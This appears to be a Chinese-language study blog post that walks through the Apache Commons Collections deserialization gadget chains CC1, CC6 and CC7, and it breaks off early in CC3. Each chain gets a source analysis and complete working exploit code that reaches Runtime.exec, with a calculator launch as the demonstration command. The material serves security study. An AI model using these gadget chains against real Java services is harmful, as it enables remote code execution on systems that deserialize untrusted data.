分析顺序并不是按照从1-7,而是一种循序渐进的顺序
:P
CommonsCollections 1
先决条件
配置jdk8u65、CommonsCollections3.2.1、下载jdk1.8源码用于分析
CC1存在两条利用,分歧点在使用TransformedMap还是LazyMap上,具体利用链如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
TransformedMap:
readObject() ->
AnnotationInvocationHandler.readObject() ->
AbstractinputCheckedMapDecorator.setValue() ->
TransformedMap.checkSetValue() ->
ChainedTransformer.transform() ->
constantsTransformer.transform() ->
invokerTransformer.transform()
LazyMap:
readObject() ->
AnnotationInvocationHandler.readObject() ->
AnnotationInvocationHandler.invoke() ->
LazyMap.get() ->
ChainedTransformer.transform() ->
constantsTransformer.transform() ->
invokerTransformer.transform()
|
分析:
Transformer接口,提供一个transform方法用于进行对象的转换
查看实现这个接口的方法
看几个调用链用到的类的功能
实现Transformer、Serializable接口,重构的transform方法无论input传入什么对象,都会返回构造时传入的constantToReturn对象
1
2
3
4
5
6
7
8
|
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
|
实现了Transformer、Serializable接口,根据传入的Transformer对象,生成一个Transformer数组,
1
|
public class ChainedTransformer implements Transformer, Serializable {
|
实现transform方法,将iTransformer中的Transformer进行Transform操作,将传入的参数传入第一个Transformer的transform方法,后续的Transformer使用前面转换过的object作为参数
1
2
3
4
5
6
7
|
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
|
构造方法将传入的Tranformer数组报存在私有变量iTransformer中,
1
2
3
|
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
|
同样实现了Transformer、Serialization接口
构造方法,重构了两种,传入方法名(、参数类型的数组、参数数组),并赋给私有变量
1
2
3
4
5
6
7
8
9
10
11
|
private InvokerTransformer(String methodName) {
this.iMethodName = methodName;
this.iParamTypes = null;
this.iArgs = null;
}
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
|
在看实现的transform方法,利用反射获取传入对象的对应方法并invoke执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}
|
可利用执行Runtime.getRuntime().exec()执行系统命令,也就是最终执行命令的位置,所以现在链最底端执行命令的位置找到了,现在要往上找,找实现这个方法的类
看一下,两个可使用的TransformedMap、LazyMap,先说TransformedMap
进入TransformedMap类,注意这个checkSetValue方法,只要可以令valueTransformer为InvokerTransformer,那么就可以利用
看一下valueTransformer,通过构造方法对其进行赋值,往上找调用TransformedMap这个构造方法的位置
1
2
3
4
5
|
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
|
因为是protected,所以看一下类中调用,有两个位置,decorate方法直接返回一个TransformedMap实例,并且将传入的keyTransformer, valueTransformer直接传入,因此只要控制传入的valueTransformer为InvokeTransformer即可
1
2
3
4
5
6
7
8
9
10
11
12
13
|
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
TransformedMap decorated = new TransformedMap(map, keyTransformer, valueTransformer);
if (map.size() > 0) {
Map transformed = decorated.transformMap(map);
decorated.clear();
decorated.getMap().putAll(transformed); // avoids double transformation
}
return decorated;
}
|
找一下哪里调用checkSetValue,定位到这里AbstractinputCheckedMapDecorator的setValue方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
|
这里需要控制parent为TransformedMap类,看一下这个类对于parent的实现,这是个AbstractInputCheckedMapDecorator的内部类,依靠构造方法赋值parent,并且继承自AbstractMapEntryDecorator
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
|
protected方法,所以看一下类中哪里实现了MapEntry,定位到内部类EntrySetIterator,相同的方式传入parent
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
static class EntrySetIterator extends AbstractIteratorDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
super(iterator);
this.parent = parent;
}
public Object next() {
Map.Entry entry = (Map.Entry) iterator.next();
return new MapEntry(entry, parent);
}
}
|
同样看一下类中EntrySetIterator,定位到内部类EntrySet中方法iterator,传入parent
1
2
3
|
public Iterator iterator() {
return new EntrySetIterator(collection.iterator(), parent);
}
|
继续定位EntrySet,定位到类内方法entrySet,这里的this就是类AbstractInputCheckedMapDecorator自身
1
2
3
4
5
6
7
|
public Set entrySet() {
if (isSetValueChecking()) {
return new EntrySet(map.entrySet(), this);
} else {
return map.entrySet();
}
}
|
所以setValue中的parent.checkSetValue就是AbstractInputCheckedMapDecorator.checkSetValue(不用追溯也知道就是这个 <3
由于这里的this指代实例化的对象,也就是TransformedMap,利用调用链transformedMap.entrySet().iterator().next().setValue();
就会触发MapEntry.setValue()
PS: 这里还有一种就是利用for循环遍历直接可以调用setValue方法
1
2
3
|
for (Map.Entry entry : transformedMap.entrySet()) {
entry.setValue();
}
|
原理:entrySet()返回一个包含映射中所有键值对的Set,iterator()方法返回Set的迭代器,通过next()方法获取迭代器下一个元素,这就相当于进行了一次迭代,所以这边用for循环也达到了同样的效果,即entry等价于transformedMap.entrySet().iterator().next()
转回去看一下MayEntry的父类AbstractMapEntryDecorator,这个类继承自Map.Entry,因此setValue其实是重写Map.Entry的setValue方法,因此整个其实就是一个重写Map中的一些方法,使用是一样的,可以理解为对象为Transformer的Map
1
2
3
4
5
|
public abstract class AbstractMapEntryDecorator implements Map.Entry, KeyValue {
public Object setValue(Object object) {
return entry.setValue(object);
}
|
继续向上找,需要找到在readObject方法里遍历时调用setValue的类,并且可以控制被便利的是Transformer——sun.reflect.annotation.AnnotationInvocationHandler
如果要利用,那么首先memberValue我们需要可控,这个memberValues来自于这个类的私有变量,并且在创建这个类的时候我们可以对他进行赋值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
|
利用链封装
1
2
3
4
5
6
7
8
9
10
11
12
13
|
Transformer trans = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
HashMap<Object, Object> map = new HashMap<>();
map.put("1", "2");
Map<Object, Object> transM = TransformedMap.decorate(map, null, trans);
Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cC = a.getDeclaredConstructor(Class.class, Map.class);
cC.setAccessible(true);
Object cCO = cC.newInstance(Override.class, transM);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
oos.writeObject(cCO);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.txt"));
ois.readObject();
|
找到整条利用链并串起来了,但执行起来无法利用,还有几个问题:
- 触发memberValue.setValue,也就是需要满足两个if
- 控制setValue中的值为我们想要传入的Runtime.getRuntime()
- Runtime无法序列化,需要借助反射来进行实现
第一个问题,第一个if需要我们传入AnnotationInvocationHandler的第一个参数,一个Class类的类,也就是一个注解类中存在函数名为传入TransformedMap的map中的key,第二个if,必须map中的value不能强制转换成传入的class,同时value也不是ExceptionProxy类型,二者同时满足才能进入,因为我们传的是字符串,所以找一个字符串不能强制转换并且包含方法的注解类,这边找的是Action.fault
第二个和第三个问题,使用ConstantsTransformer和ChainedTransformer以及反射来解决,由于ChainedTransformer的transform方法会传递性的进行转换,所以将ChainedTransformer数组的第一个为ConstantsTransformer,这样就会控制后续命令直接进入,并通过反射的方式链状执行Runtime.getRuntime().exec("cmd")
反射Runtime.getRuntime().exec(),将这个过程套入ChainedTransformer
1
2
3
4
5
|
Class r = Runtime.class;
Method g = r.getMethod("getRuntime", null);
Runtime rr = (Runtime) g.invoke(null, null);
Method e = rr.getClass().getMethod("exec", String.class);
e.invoke(rr, "open -a Calculator");
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.TransformedMap;
import javax.swing.*;
import javax.xml.ws.Action;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
public class CcTest {
public static void ccTest() throws Exception {
// test 1
// Transformer trans = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
// trans.transform(Runtime.getRuntime());
// test 2
// Transformer trans = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
// HashMap<Object, Object> map = new HashMap<>();
// map.put("fault", "2");
// Map<Object, Object> transM = TransformedMap.decorate(map, null, new ChainedTransformer(trans));
// transM.entrySet().iterator().next().setValue(Runtime.getRuntime());
// test 3
Transformer[] trans = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
HashMap<Object, Object> map = new HashMap<>();
map.put("fault", "2");
Map<Object, Object> transM = TransformedMap.decorate(map, null, new ChainedTransformer(trans));
Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cC = a.getDeclaredConstructor(Class.class, Map.class);
cC.setAccessible(true);
Object cCO = cC.newInstance(Action.class, transM);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
oos.writeObject(cCO);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.txt"));
ois.readObject();
}
}
|
LazyMap
除了使用TransformedMap,LazyMap的get方法也会调用transform方法,向上分析一下这条链
继续看AnnotationInvocationHandler.readObject(),其中的get触发点仍然吻合,现在要控制memberTypes为LazyMap,之前分析时提到过memberTypes为我们传入的注解类中的函数的HashMap,这边没有更改思路
利用链是使用动态代理的方式,因为AnnotationInvocationHandler这个类同样实现了InvocationHandler接口,在重写的invoke方法中,存在get方法的调用,并且其中的memberValues是我们可控的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
|
因为触发点为readObject,所以仍然借助AnnotationInvocationHandler.readObject中for循环时调用我们传入的代理对象的entrySet()方法,此时就会自动调用invoke方法从而执行get方法
Exp(LazyMap)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
|
import com.sun.net.httpserver.Filter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import javax.swing.*;
import javax.xml.ws.Action;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
public class CcTest {
public static void ccTest() throws Exception {
// test 1
// Transformer trans = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
// trans.transform(Runtime.getRuntime());
// test 2
// Transformer trans = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
// HashMap<Object, Object> map = new HashMap<>();
// map.put("fault", "2");
// Map<Object, Object> transM = TransformedMap.decorate(map, null, new ChainedTransformer(trans));
// transM.entrySet().iterator().next().setValue(Runtime.getRuntime());
// test 3
// Transformer[] trans = new Transformer[]{
// new ConstantTransformer(Runtime.class),
// new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
// };
// HashMap<Object, Object> map = new HashMap<>();
// map.put("fault", "2");
// Map<Object, Object> transM = TransformedMap.decorate(map, null, new ChainedTransformer(trans));
//
// Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Constructor cC = a.getDeclaredConstructor(Class.class, Map.class);
// cC.setAccessible(true);
// Object cCO = cC.newInstance(Action.class, transM);
// ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
// oos.writeObject(cCO);
// ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.txt"));
// ois.readObject();
// test 4
Transformer[] trans = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyM = LazyMap.decorate(map, new ChainedTransformer(trans));
Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor c = a.getDeclaredConstructor(Class.class, Map.class);
c.setAccessible(true);
InvocationHandler i = (InvocationHandler) c.newInstance(Override.class, lazyM);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, i);
Object o = c.newInstance(Override.class, mapProxy);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
oos.writeObject(o);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.txt"));
ois.readObject();
}
}
|
CommonsCollections 6
CC6解决了CC1受jdk版本限制的问题,无论是TransformedMap链还是LazyMap链,都依赖于调用sun.reflect.annotation.AnnotationInvocationHandler#readObject
调用链
1
2
3
4
5
6
7
8
|
HashMap#readObject ->
HashMap#hash ->
TiedMapEntry#hashCode ->
TiedMapEntry#getValue ->
LazyMap.get() ->
ChainedTransformer.transform() ->
constantsTransformer.transform() ->
invokerTransformer.transform()
|
使用HashMap来构造反序列化链,看一下HashMap#readObject,触发反序列化后,后面会将进行一个循环,此时调用到了HashMap#hash方法,方法会判断key是否为null,非空则会调用key.hashCode()方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
|
hashCode用于返回一个类的hash值,而利用链巧妙的找到了这个hashCode()的利用,与CommonsCollections LazyMap链联系起来
TiedMapEntry#hashCode, TiedMapEntry#getValue, TiedMapEntry()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
public Object getValue() {
return map.get(key);
}
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
|
通过传入key为TieMapEntry的HashMap,在反序列化时会自动触发TiedMapEntry#hashCode方法,进而最终触发map.get(key),其中map为初始化构造方法时定义,这样就与LazyMap的get联系起来
按照这个思路将利用链串起来
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
Transformer[] trans = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}),
new ConstantTransformer(1)
};
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyM = LazyMap.decorate(map, new ChainedTransformer(trans));
TiedMapEntry tme = new TiedMapEntry(lazyM, "aaa");
HashMap<Object, Object> hm = new HashMap<>();
hm.put(tme, "bbb");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
oos.writeObject(hm);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.txt"));
ois.readObject();
|
但这样写是有问题的,一在生成序列化字符串时,在hm.put()操作时执行了一遍攻击链,这样就会导致两个问题:首先是在自己主机上执行了一遍命令,这是没有必要的,其次因为key会通过map.put(key, value)放入给lazyM中,反序列化时由于已经存在了对应的key导致不会进入if
1
2
3
4
5
6
7
8
9
|
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value); //序列化时执行导致为lazyM添加("aaa", 1)
return value;
}
return map.get(key);
}
|
但我自己下断点测试时发现没执行到put时,在this.map = map赋值时就已经触发了命令执行并且lazyM拥有了键值并且执行了攻击链
这里分析了一下,也就是说对TiedMapEntry做了改变就会触发后续操作,也就是会自动调用LazyMap的get,但被idea跳过了,普通的赋值并不会触发get方法,直接的赋值也没有理由触发其他的方法进而触发get,研究了一下,跟idea的调试的底层原理有关(不往下细弄了
说回上面的两个问题,解决的话很简单,首先将aaa从lazyM中remove出去,这样就解决了不进if,然后就是本机命令执行,先随便传一个Transformer进lazyM,put之后用反射再改成正常的就可以了
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
import com.sun.net.httpserver.Filter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import javax.swing.*;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import java.util.TreeMap;
public class CcTest {
public static void main(String[] args) throws Exception {
// CC6
Transformer[] trans = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"}),
new ConstantTransformer(1)
};
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyM = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tme = new TiedMapEntry(lazyM, "aaa");
HashMap<Object, Object> hm = new HashMap<>();
hm.put(tme, "bbb");
lazyM.remove("aaa");
Class lazyMC = LazyMap.class;
Field factoryF = lazyMC.getDeclaredField("factory");
factoryF.setAccessible(true);
factoryF.set(lazyM, new ChainedTransformer(trans));
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
oos.writeObject(hm);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.txt"));
ois.readObject();
}
}
|
CommonsCollections 7
调用链
1
2
3
4
5
6
7
8
|
HashTable#readObject ->
HashTable#reconstitutionPut ->
AbstractMapDecorator#equals ->
AbstractMap#equals ->
lazyMap#get ->
ChainedTransformer.transform() ->
constantsTransformer.transform() ->
invokerTransformer.transform()
|
相对于6更换了入口点,使用HashTable,进去看一下
readObject中,最后在循环中执行了reconstitutionPut方法,进入对应方法,对e.key执行了equals方法,对应上调用链。
简单分析一下,readObject的循环中,将序列化的key和value取出来,传入reconstitutionPut方法,这个方法有一个需要注意的地方就是要满足e.hash == hash这个条件,其中hash为传入key的也就是LazyMap的hashCode方法返回值,而e.hash为Hashtable$Entry中的hash变量
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
|
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the length, threshold, and loadfactor
s.defaultReadObject();
// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();
// Compute new size with a bit of room 5% to grow but
// no larger than the original size. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
}
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
|
put两个值进Hashtable分析一下流程
1
2
3
|
Hashtable ht = new Hashtable();
ht.put(lazyM1, 1);
ht.put(lazyM2, 2);
|
readObject中的for (; elements > 0; elements--)
首先会执行后put进的kv,然后进入reconstitutionPut函数,此时传入的table为空Entry数组,key,value对应传入,然后通过key.hashCode计算出hash,走到for(Entry<?,?> e = tab[index] ; e != null ; e = e.next)
语句时,以为tab为空所以e为null此时不进入循环,往下走将tab[index]赋值为一个新的Entry对象,将计算出的hashCode传入赋值给hash,回到readObject中的for循环,将第一次put的值传入函数,此时table已经被插入了新的Entry对象,进入函数同样的for循环位置,由于table已经拥有了值并且e.hash就是上一步循环中计算的lazyM2.hashCode,与lazyM1.hashCode进行比较,相同则会向下运行,说白了就是put进Hashtable的两个key值的hashCode返回值相同,放到此处就是传入的两个LazyMap.hashCode相同
接下来就是分析一下LazyMap.hashCode究竟是怎么计算的
本机调用链没找到,这边参考其他人的文章
1
2
3
4
5
6
7
8
9
10
11
12
|
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
cahr val[] = value;
for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}
|
当我们传入的两个值为两个字符时,这里的加密就转换成了31 * ASCII(s1[0]) + ASCII(s1[1])
因此payload这边选用yy
和zZ
满足等式
因此Exp如下
Exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
// CC7
Transformer[] trans = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer cT = new ChainedTransformer(new Transformer[0]);
HashMap<Object, Object> map1 = new HashMap<>();
HashMap<Object, Object> map2 = new HashMap<>();
Map<Object, Object> lazyM1 = LazyMap.decorate(map1, cT);
lazyM1.put("yy", 1);
Map<Object, Object> lazyM2 = LazyMap.decorate(map2, cT);
lazyM2.put("zZ", 1);
Hashtable ht = new Hashtable();
ht.put(lazyM1, 1);
ht.put(lazyM2, 2);
Field iTransformers = cT.getClass().getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(cT, trans);
lazyM2.remove("yy");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
oos.writeObject(ht);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.txt"));
ois.readObject();
|
CommonsCollections 3
cc3是另一种攻击思路,找一个可以控制的defineClass,使用动态加载攻击类触发命令执行
选择的最终触发类为TemplatesImpl(这个类的defineClass是很多反序列化链的触发位置),是一个default方法,只需传入字节码的形式,通过调protect defineClass用实现对类的加载
1
2
3
|
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
|
看一下类中调用,定位到方法defineC,private的
